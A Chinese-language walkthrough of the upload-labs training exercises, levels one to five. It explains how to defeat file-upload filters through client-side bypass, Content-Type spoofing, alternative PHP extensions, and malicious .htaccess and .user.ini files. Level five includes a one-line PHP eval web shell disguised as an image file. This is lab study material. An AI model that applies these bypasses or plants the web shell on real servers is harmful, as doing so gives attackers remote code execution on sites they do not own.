upload-labs

Pass-01

1703860494797

代码在前端对上传的文件进行检测,代码设置了allow_ext变量对允许上传的文件进行了限制,上传除了png jpg gif以外的文件都不可以被上传。但是代码在前端检验,所以只需要绕过前端,后端对上传文件不进行检测,将写好的phpinfo代码后缀改为png允许上传的格式进行上传,之后进行抓包将发送的文件后缀改为php,使得phpinfo.php被成功上传。在upload文件下访问phpinfo.php.

1703862235230

Pass-02

1703862625967

直接上传phpinfo.php,上传失败。查看网页前端代码,发现有一个checkFile函数的返回值,并且只出现了一次,猜测为服务端回传的。所以上传文件phpinfo.php,将contect-type()的格式改为image/jpeg,成功上传文件。根据源码分析允许上传的文件格式为png jpeg gif 文件,并且为服务端检测。

1703863364982

成功上传,可以访问phpinfo.php。

1703863490415

Pass-03

1703863741831

在服务端进行检测,根据提示禁止上传.asp|.aspx|.php|.jsp后缀文件。抓包上传文件,设置文件的格式为jpeg格式,文件的后缀为.php5或者php3即可执行代码。

1703864271000

成功访问,上传的文件。

1703864180207

Pass-04

根据提示网站,禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件,常见的文件格式均不能上传。经过查找发现.htaccess文件可以绕过(概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。上传.htaccess文件至服务器上传目录,此时apache在解析该目录下的php时将按照文件要求。只要文件名匹配到所定义的字符串,就会将该文件当作php解析).先上传一个写入phpinfo.php文件将后缀改为.png。再上传一个.htaccess文件,.htaccess文件可以将2.png文件解析为php代码。

1703865566686

1703866063906

1703866089994

Pass-05

方法一:网站比第四关的过滤多了一个htaccess文件。根据资料查找,从PHP5.3.0开始PHP支持基于每个目录的INI文件,这些文件可以被CGI处理,类似于htaccess文件的功能。网站上传的文件夹中存在一个readme.php文件所以可以使用ini文件对使得运行readme.php文件时可以运行上传的图片文件,所以上传两个文件一个是uesr.ini auto_prepend_file=web.jpg 另一个文件时web.jpg <?php @eval($_GET['cmd']) ?>

在执行readme.php文件时会以php的格式执行web.jpg文件。但是这个方法不能在非nts版本执行。

方法二:

1703869483575

代码执行时会去除文件末尾的一个点,还会去除文件结尾的一个空格,将文件的后缀改为.php. . 在文件在比较时后缀为.php.所以绕过了后缀名称的比较,windows环境特性,会将文件结尾的点忽略所以可以执行。

1703869857454

1703869931132